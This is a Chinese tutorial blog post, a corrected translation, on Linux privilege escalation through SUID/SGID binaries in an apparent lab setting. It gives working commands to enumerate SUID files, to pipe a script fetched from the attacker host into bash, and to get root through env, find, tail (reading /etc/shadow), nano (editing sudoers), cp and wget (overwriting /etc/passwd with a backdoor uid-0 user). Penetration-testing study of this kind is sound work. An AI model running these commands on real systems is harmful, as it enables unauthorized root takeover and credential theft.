Linux 提權-SUID/SGID_1

扛枪的书生發表於2024-07-05

本文透過 Google 翻譯 SUID | SGID Part-1 – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 瞭解特殊許可權
  • 2 尋找 SUID/SGID 二進位制檔案 – 手動方法
    • 2.1 列舉 SUID 二進位制檔案
    • 2.2 列舉 SGID 二進位制檔案
  • 3 尋找 SUID/SGID 二進位制檔案 – 自動工具
    • 3.1 列舉 SUID/SGID 二進位制檔案 – LinPEAS
      • 3.1.1 列舉 SUID 二進位制檔案
      • 3.1.2 列舉 SGID 二進位制檔案
    • 3.2 列舉 SUID 二進位制檔案 – SUID3NUM
      • 3.2.1 下載並執行 SUID3NUM
      • 3.2.2 回顧調查結果
      • 3.2.3 將 AutoPwn 開關撥至 ON
  • 4 利用 SUID 二進位制檔案 – GTFOBins
    • 4.1 利用 Easy Shell 二進位制檔案 – env/find
    • 4.2 利用檔案讀/寫二進位制檔案 – tail/nano
      • 4.2.1 讀取敏感檔案 – tail
      • 4.2.2 寫入敏感檔案 – nano
    • 4.3 利用一些需要創造力的二進位制檔案 – cp/wget
      • 4.3.1 將 SUID 許可權注入 bash – cp
      • 4.3.2 下載新的 passwd 檔案 – wget
  • 5 最後的想法

0、前言

在這篇由兩部分組成的關於 Linux 許可權升級的文章中,我們將探討如何濫用開啟了 SUID 和/或 SGID 位的二進位制檔案。

這篇文章比我最初預想的要長得多,所以我不得不將其分成兩部分

在第 1 部分中,我們將首先學習如何手動列舉 SUID 和 SGID 二進位制檔案以及如何使用兩個不同的工具:LinPEAS 和 SUID3NUM。

在列舉階段,我們將在受害主機上發現總共十個易受攻擊的 SUID 二進位制檔案。在這十個二進位制檔案中,我們將發現其中六個是標準二進位制檔案(即常見的命令),另外四個是自定義二進位制檔案(即個人製作的命令)。

在列舉系統上所有 SUID 二進位制檔案之後,我們將透過一個名為 GTFObins 的強大網站來利用這六個標準二進位制檔案。

一旦我們完成了對標準二進位制檔案的利用,我們將把重點轉移到自定義二進位制檔案上。但是,這將在本文的第 2 部分中介紹。

讓我們開始吧!

1、瞭解特殊許可權

SUID 和 SGID 被稱為“特殊許可權”,因為它們允許在標準許可權位之上擁有額外的特權。

在 Linux 中,有 3 個許可權集:所有者、群組和其它人。每個許可權集的標準許可權位是 RWX – 讀取、寫入和執行。

當我們執行 ls -l 命令時,可以看到許可權以及檔案所有者和所屬群組。

要了解許可權如何運作的更深入解釋,請在此處檢視我關於弱檔案許可權的許可權提升帖子。

除了三個標準許可權位之外,還有三個特殊許可權位:SUID、SGID 和 Sticky。

這些特殊許可權只能存在於各自的集合中。我的意思是,SUID 僅適用於所有者集,SGID 僅適用於群組集,Sticky 僅適用於其他人集。此外,當其中任何一個被啟用時,它們總是會替換 x 位。

在上圖中,我們可以看到 test.c 檔案已經啟用了所有的特殊許可權。另外,背景是紅色的,因為設定了 SUID 位,紅色就是 SUID 的表示方式。

SUID 和 SGID 分別具有紅色和黃色背景。Sticky 則沒有背景顏色。

另外,如果啟用了特殊許可權位的許可權集中沒有 x 許可權,那麼他們將在各自的集合中用大寫“S”(SUID / SGID)或大寫“T”(Sticky)表示。

現在我們已經瞭解特殊位是如何表示的,讓我們再仔細看看 SUID 和 SGID 位,從 SUID 開始。

注:原文關於SUID、SGID、Sticky 三小節的描述,個人感覺有些囉嗦且關於 SGID 的描述不太認可,故此處已刪除。

有關 SUID/SGID 特權在功能方面的差異,可看我的實踐實驗 Linux 特權 SUID/SGID 的詳解

2、尋找 SUID/SGID 二進位制檔案 - 手動方法

對於本文中的所有示例,我們假設已掌握使用者 “user” 的登入資訊,且可透過 SSH 對其進行訪問。

因為能夠透過 SSH 獲得立足點,所以我們已經擁有完整的 TTY ,因此就不需要再進行終端升級。

此外,在接下來的所有示例中,我們將重點關注 SUID 位。不過,我們將學習如何同時獲取 SUID/SGID 二進位制檔案。

我們要利用的所有二進位制檔案都歸 root:root 所有,因此無論如何,如果我們發現 SUID 位或 SGID 位被開啟,那麼二進位制檔案就會擁有或獲得 root 的身份或援助。

2.1、列舉 SUID 二進位制檔案

要查詢系統中的所有 SUID 檔案,我們可以透過以下 find 命令去獲得:

find / -type f -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

我們馬上就能看到很多的 SUID 二進位制檔案,但這並不意味著它們都是我們感興趣的。

這些二進位制檔案大多是預設的 SUID 二進位制檔案,無法被利用,因此要知道哪些是預設的,哪些是有趣的或自定義的很關鍵。

乍一看,我們可以看到一些有趣的二進位制檔案,例如 cpnano,以及一些自定義二進位制檔案,包括 suid-path、suid-so、suid-sf

我們還可以改進此搜尋,以僅搜尋 root 擁有的 SUID 二進位制檔案。我們還可以新增 -ls 標誌來檢視檔案許可權。

find / -type f -perm -4000 -user root -ls 2>/dev/null
find / -type f -perm -u=s -user root -ls 2>/dev/null

請注意,我並沒有突出顯示上面所有易受攻擊的 SUID 二進位制檔案。

一旦我們發現一些有趣的二進位制檔案,我們就可以開始檢查它們是否可以使用 GTFObins 進行利用。

在我們開始之前,讓我們快速回顧一下如何列舉 SGID 二進位制檔案,然後再看看工具(LinPEAs 和 SUID3NUM)列舉 SUID 二進位制檔案的效果如何。

2.2、列舉 SGID 二進位制檔案

說到 SGID 二進位制檔案,查詢它們的命令與 SUID 非常相似:

find / -type f -perm -2000 2>/dev/null
find / -type f -perm -g=s 2>/dev/null

find / -type f -perm -2000 -user root -ls 2>/dev/null
find / -type f -perm -g=s -user root -ls 2>/dev/null

以上輸出這些都是系統預設值,因為我確實也沒有設定帶有 SGID 位的二進位制檔案(也就是說本文所涉及的提權方式都是在 SUID 許可權下進行的)。

3、尋找 SUID/SGID 二進位制檔案 – 自動工具

既然我們已經瞭解瞭如何手動列舉 SUID 二進位制檔案,那麼接下來我們將透過使用工具 LinPEAS 和 SUID3NUM 來了解更快速的方法。

這兩種工具都可以相當準確地知道哪些 SUID 二進位制檔案是預設的、還是有趣的或自定義的

3.1、列舉 SUID/SGID 二進位制檔案 – LinPEAS

LinPEAS 是一款終極的後漏洞列舉工具,此處我們直接在受害者主機記憶體中執行。

curl 172.16.1.30/linpeas.sh | bash

待指令碼執行完成後,我們可以對結果進行梳理,看看 LinPEAS 是如何更好地列舉我們要尋找的東西。

3.1.1、列舉 SUID 二進位制檔案

對於 SUID/SGID 二進位制檔案,我們需要向下滾動到 Interesting Files 部分。在那裡的第一個子部分是 SUID

在這裡我們可以看到 LinPEAS 在查詢有趣的 SUID 二進位制檔案方面做得很好。

首先,它發現了六個已設定 SUID 位的標準二進位制檔案(這些標準檔案預設清況下是不會被設定 SUID 位的)且都是紅色/黃色標記,因為每個檔案的漏洞都可以在 GTFObins 上找到。

接下來,還可以看到 LinPEAS 發現了另外四個令我們感興趣的二進位制檔案,因為它們是“unknown”,這通常意味著這些是自定義 SUID 二進位制檔案,值得進一步檢查。

在文章的開頭,我們提到一共會有十個例子。在這裡,我們可以看到 LinPEAS 能夠列舉出我們要利用的所有十個二進位制檔案。

3.1.2、列舉 SGID 二進位制檔案

繼續向下滾動我們將找到 SGID 子部分,在這裡我們可以看到所有 SGID 二進位制檔案。如前所述,這些檔案都是預設的,並沒有發現任何有趣的內容。

接下來,讓我們看看 SUID3NUM 在列舉 SUID 二進位制檔案方面的表現如何。

3.2、列舉 SUID 二進位制檔案 – SUID3NUM

我們將用來列舉 SUID 二進位制檔案的第二個工具是 SUID3NUM。這是一個很棒的工具,因為它是專門為列舉 SUID 二進位制檔案而建立的。但這還不是全部,它還提供了可用於提升許可權的命令(命令從 GTFOBins 中提取)。

這還不是最好的部分,SUID3NUM 還具有內建的 autopwn 功能,可以透過 -e 開關啟用!

在 OSCP 考試中也使用此工具,只要您不使用自動利用功能。

3.2.1、下載並執行 SUID3NUM

我們可以從 GitHub 倉庫中獲取 SUID3NUM 的副本,下載指令碼的副本後,我們可以使用攻擊者機器上已執行的 HTTP 伺服器將指令碼下載到受害者機器上。

請注意,SUID3NUM 是一個 Python 指令碼,因此需要在受害者主機上安裝 Python2 或 Python3 才能執行。

這次,我們不會將該指令碼直接下載到記憶體中,而是將其下載到磁碟。

cd /dev/shm
curl 172.16.1.30/suid3num.py -o suid3num.py

將指令碼的副本下載到受害者身上後,我們需要授予它執行許可權。

chmod 755 /dev/shm/suid3num.py

現在一切準備就緒,我們只需執行指令碼,看看它能找到什麼。

python3 ./suid3num.py

執行指令碼後,我們可以看到它所做的第一個檢查是查詢主機上的所有 SUID 二進位制檔案,緊接著神奇的事情就發生了。

3.2.2、回顧調查結果

當我們向下滾動 SUID 二進位制檔案的完整列表時,我們可以看到指令碼將其發現分為以下部分:

  • 預設二進位制檔案 – 這些檔案並不脆弱,我們也對其不感興趣。

  • 自定義 SUID 二進位制檔案 – SUID3NUM 將所有有趣和自定義的二進位制檔案都標記為自定義。

  • GTFOBins 列表中的 SUID 二進位制檔案 – SUID3NUM 引用 GTFOBins,讓我們知道是否有任何二進位制檔案被列出並因此可被利用。

  • 手動利用 – SUID3NUM 直接從 GTFOBins 為某些可利用的二進位制檔案提供利用方法。

  • 無害的 SUID 二進位制檔案 – 這些也是從 GTFObins 中提取的漏洞,只不過這些漏洞可以用一個命令來利用。

Awesome!這個指令碼在列舉 SUID 二進位制檔案方面確實很出色。我想說它甚至比 LinPEAS 更好,因為它是專門為這項任務而設計的。

更重要的是,它同時還提供了可供測試的漏洞命令,這是一個很大的優勢。

在我們繼續討論漏洞利用示例之前,讓我們快速測試一下自動漏洞利用功能並看看會發生什麼。

3.2.3、將 AutoPwn 開關撥至 ON

如前所述,SUID3NUM 可以透過在執行指令碼時應用 -e 開關以自動利用易受攻擊的 SUID 二進位制檔案。

那麼讓我們看看它在我們的處境下會做什麼,因為我們確實有多個易受攻擊的二進位制檔案。

python3 ./suid3num.py -e

看起來它首先測試了“無害”的,並且在第一次嘗試使用 env 二進位制檔案時成功將許可權提升到 root 。

Cool!這真是一個查詢或利用 SUID 二進位制檔案的絕佳工具。

需要注意的是,自動利用功能是在發現 GTFOBins 上列出了易受攻擊的二進位制檔案時才可用。如果二進位制檔案是自定義的或未在 GTFObins 上列出,則無法自動利用。

4、利用 SUID 二進位制檔案 – GTFOBins

為了啟動利用示例,我們將利用設定了 SUID 位的六個有趣的標準二進位制檔案中的每一個。

對於每個非預設 SUID 二進位制檔案(是預設命令但被更改過),我們將參考 GTFOBins 來查詢漏洞。

對於這些示例,瞭解 GTFOBins 是什麼以及它如何工作非常重要,因此讓我們快速回顧一下。

GTFOBins 是精選的 Unix 二進位制檔案列表,可用於繞過錯誤配置的系統中本地安全限制。

對於 GTFOBins 上的所有可用漏洞,它們都有一個共同點:假定命令都以 root 身份執行。

話雖如此,但 GTFOBins 針對我們可能遇到的不同情況(sudo、SUID 等)也展示了不同的技術。

無論如何,當談到 SUID 時,我們總是以 root 身份執行二進位制檔案,這意味著我們不應該將自己限制在 GTFObins 上提供的 “SUID” 漏洞上。

還要注意的是,並非每個易受攻擊的 SUID 二進位制檔案都會立即產生 root shell。因此,我們將分三部分回顧如何利用這六個二進位制檔案:(1)易 shell 二進位制檔案(2)檔案讀/寫二進位制檔案(3)需要一些創造力才能利用的二進位制檔案。

4.1、利用 Easy Shell 二進位制檔案 – env/find

某些 SUID 二進位制檔案極易被利用,只需一個命令即可直接進入 root shell。這類二進位制檔案的兩個示例是 envfind

讓我們前往 GTFOBins 並檢視其中的每一個,從 env 開始。

檢查此二進位制檔案的 SUID 漏洞,顯示以下內容:

大多數情況下,GTFObins 建議建立本地 SUID 副本;但是,我們不需要這樣做。因為,我們當前的環境中可以直接使用二進位制檔案的絕對路徑。

/usr/bin/env /bin/sh -p

就這樣,我們進入了 root shell 並提升了許可權!

我曾見過有人將命令中的 sh 替換為 bash,以獲得更好的 shell,這確實有效。但是,我也見過漏洞利用在 bash 中失敗而在 sh 中成功的情況。因此,如果您選擇 bash,請務必小心。更好的選擇是將 sh 保留在命令中,然後在獲得 shell 後立即使用 /bin/bash -p 將其升級為 bash 。

現在讓我們檢查 find 命令並看看 GTFOBins 能為該二進位制檔案提供什麼。

就像上次一樣,我們應該首先檢查此二進位制檔案的 SUID 漏洞,它顯示以下內容:

與上次相同,我們不會建立本地副本,而是使用二進位制檔案的絕對路徑。

/usr/bin/find . -exec /bin/sh -p \; -quit

與上一個例子類似,我們也很快進入了 root shell 並提升了許可權

所以說,如果找到設定了 SUID 位的恰當二進位制檔案,那麼提升為 root 許可權真的很容易!

4.2、利用檔案讀/寫二進位制檔案 – tail/nano

對於下一組示例,我們將研究可用於讀取檔案或寫入檔案的 SUID 二進位制檔案。

4.2.1、讀取敏感檔案 – tail

有許多二進位制檔案可用於讀取檔案,包括 cat、more、less、head、tail 等。 但在這個例子中,我們將利用 tail

當上面列出的二進位制檔案之一設定了 SUID 位時,我們可以使用該二進位制檔案讀取通常只有 root 才能檢視的敏感檔案。

有助於提升許可權的敏感檔案包括 /etc/shadow、/root/.ssh/id_rsa、或標準使用者的 id_rsa 或我們在列舉過程中發現的任何我們沒有許可權讀取的有趣檔案。

讓我們回到 GTFOBins 並看看我們可以做些什麼來濫用 tail 二進位制檔案。

在這裡我們可以看到 File ReadSUID 部分幾乎相同,這是因為只有一種方法可以濫用這個二進位制檔案。

GTFOBins 喜歡讓我們建立一個變數,然後將該變數傳遞到命令中。但是,我們將稍微改變一下,使用 tail 的絕對路徑,然後用我們要讀取的檔案替換 “$LFILE”。

例如,我們可以使用以下命令從影子檔案中獲取所有雜湊值:

/usr/bin/tail -c1G "/etc/shadow" | grep -v '*\|!'

Amazing!我們能夠從影子檔案中轉儲所有雜湊值!

現在我們可以獲取這些雜湊值並嘗試使用雜湊破解工具(John 或 hashcat)來破解它們。

要了解如何使用 John the Ripper 破解影子雜湊,請檢視此處的帖子。或者,要了解如何使用 hascat 完成此操作,請檢視此處的帖子

4.2.2、寫入敏感檔案 – nano

允許我們寫入檔案的二進位制檔案通常包括文字編輯器、除錯工具和一些其他二進位制檔案。

在此示例中,我們將利用文字編輯器 nano

再次,我們需要首先前往 GTFOBins 檢視 nano 有哪些可用的漏洞。

有趣的是,我們只看到了 “Limited SUID” 的漏洞,而沒有看到常規的 SUID 漏洞。但是,我們之前瞭解到,我們不應該侷限於只使用 SUID 漏洞。

考慮到這一點,我們應該測試的兩個漏洞是 Shell 漏洞和 File Write 漏洞。

為了儘快取得勝利,我們應該首先測試 shell 漏洞。

/bin/nano
^R^X
reset; sh 1>&0 2>&0

第一個命令由於有 $ 提示符,看起來可能起了作用,但這個命令卻讓 shell 崩潰了。

啟動新的 SSH 會話後,我們可以測試第二個 shell 命令:

/bin/nano -s /bin/sh
/bin/sh
^T

有趣的是 它成功了,但是我們在這裡可以看到,我們最終也只是以之前相同的使用者身份進入了 shell。

接下來,我們知道 nano 的目的是編輯檔案,所以我們可以利用這些知識嘗試寫入敏感檔案。

一些有助於提升許可權的檔案示例包括 /etc/passwd、/etc/shadow、/etc/sudoers

對於此示例,我們將在 /etc/sudoers 檔案中新增一行,為當前使用者提供完整的 sudo 許可權。

/bin/nano /etc/sudoers

開啟後,我們可以在檔案底部新增以下行,然後退出:

user ALL=(ALL) NOPASSWD: ALL

預設情況下,標準使用者無法讀取 sudoers 檔案,但我們仍然可以確認它有效。

sudo -l

Perfect!現在我們可以使用以下命令輕鬆進入 root shell:

sudo su -

4.3、利用需要一些創造力的二進位制檔案 – cp/wget

對於第 1 部分中最後一組示例,我們將回顧兩個有趣的二進位制檔案,它們需要一些發散性思維才能升級到 root。

任何不屬於其他兩類(易 shell 或讀/寫)的 SUID 二進位制檔案,通常都需要一些創造力才能使漏洞利用發揮作用。

4.3.1、將 SUID 許可權注入 bash – cp

我們首先檢視 GTFOBins 上的 cp 命令,看看如何利用這個二進位制檔案。

首先進入 SUID 部分,我們可以看到它提供了三個漏洞。前兩個是檔案寫入漏洞;然而,第三個漏洞非常有趣,它透過將 SUID 許可權從一個二進位制檔案複製到另一個二進位制檔案來更改檔案。

由於 cp 本身具有 SUID 許可權,這意味著我們可以使用 cp 將其自己的 SUID 許可權注入到我們想要注入的任何二進位制檔案中!

此漏洞不僅會將 SUID 許可權注入到任何其他二進位制檔案中,還會注入 cp 上設定的所有許可權(包括檔案所有權)。

為了利用這一點,我們需要考慮一個想要新增 SUID 許可權的二進位制檔案。

為了輕鬆地提升許可權,第一個想到的二進位制檔案是 bash

根據最佳實踐,如果沒有必要,我們不應直接編輯系統二進位制檔案。相反,我們可以用 cp 將要注入的二進位制檔案複製到 /tmp 目錄,然後注入該副本。

cp /bin/bash /tmp

由於 cp 具有 SUID 許可權,它將 root 保留為檔案所有者,但它確實將我們當前的使用者 “user” 指定為組所有者。

但是,當我們將 cp 的許可權注入到我們的 bash 副本中時,我們將看到所有權將從 root:user變為 root:root。

/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash

無論如何,現在,我們只需發出命令便可以進入 root shell。

/tmp/bash -p

4.3.2、下載新的 passwd 檔案 – wget

另一個有趣的 SUID 二進位制檔案是 wget,它也需要一些創造性思維才能利用。

讓我們跳到 GTFOBins 並檢視 wget 的可用漏洞。

首先檢查 SUID 部分,它表明 wget 可以被利用來進入 root shell。

當然,我們將首先測試它,因為它在 SUID 部分。

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
/usr/bin/wget --use-askpass=$TF 0

不幸的是,它失敗了,因為無法識別 GTFOBins 提供的 –use-askpass 開關。

從另一方面來說,我們知道可以嘗試其他漏洞,而不僅僅侷限於 SUID 漏洞。

那麼,讓我們看看 GTFOBins 還能提供什麼。

通常,在 shell 命令之後,"檔案寫入 "會是第二個最有趣的發現。但對於 wget,我們應該想想二進位制檔案通常是用來做什麼的,以及設定了 SUID 位之後它的功能會發生什麼變化。

由於 wget 主要用於下載檔案,因此設定 SUID 位意味著任何下載的檔案都將歸 root 所有。

但是我們如何利用它來進行惡意攻擊或提升許可權呢?

我們可以利用這一點,透過用惡意副本替換 root 擁有的現有檔案來提升許可權。

這應該與檔案寫入漏洞類似地處理,因為它們本質上是同一件事。

正如在 nano 示例中提到的,當我們有能力以 root 身份寫入檔案時,我們應該考慮針對一些檔案,例如 /etc/passwd、/etc/shadow、etc/sudoers

下面開始拼湊碎片,然後獲得 root

對於這個例子,最好編輯 /etc/passwd 檔案,因為它是任何人都可讀的,這意味著我們可以在利用它之前進行備份。

首先備份 /etc/passwd檔案:

cp /etc/passwd /tmp

備份完成後,我們可以 cat /etc/passwd 檔案,然後複製其完整內容。

接下來,我們需要回到攻擊者的機器並在我們的工作目錄中建立一個名為 passwd 的檔案,然後將內容貼上到其中。

原始 passwd 檔案大小為 2617 位元組。將其複製到我們的攻擊者機器後,我們可以看到它的大小與原始檔案大小相同,說明檔案完好無損。

現在,我們可以從攻擊者的機器向 passwd 檔案新增 root 使用者。完成後,我們會將其傳送回受害者,覆蓋當前的 passwd檔案。

首先,我們需要使用 openssl 建立一個雜湊密碼 。在這個例子中,我們將保持簡單並將密碼設定為“password”。

openssl passwd password

執行命令後,我們會得到一個雜湊值 ShuKpZV7v9akI, 請保留這個值,因為我們在下一個命令中會需要它。

要建立名為 r00t 的第二個 root 使用者 ,我們可以在 passwd 檔案中新增以下行: r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash

echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> ./passwd

Perfect!檔案已準備好傳送回受害者。現在剩下要做的就是 cd 到受害者的 /etc 目錄,然後使用 wget 下載 passwd 檔案。

cd /etc
wget http://172.16.1.30/passwd -O passwd

Awesome!我們的惡意 passwd 副本已經成功覆蓋了原始副本。

現在我們可以透過 su 進入我們的新 root 使用者並完全控制受害者。

su r00t

5、最後的想法

這些都是好東西,但就 GTFObins 上可找到的易受攻擊二進位制檔案的數量而言,我們在這裡只是觸及了皮毛。

總之,我們還沒完!如果您有興趣瞭解我們如何利用自定義 SUID 二進位制檔案,請繼續閱讀第二部分。

相關文章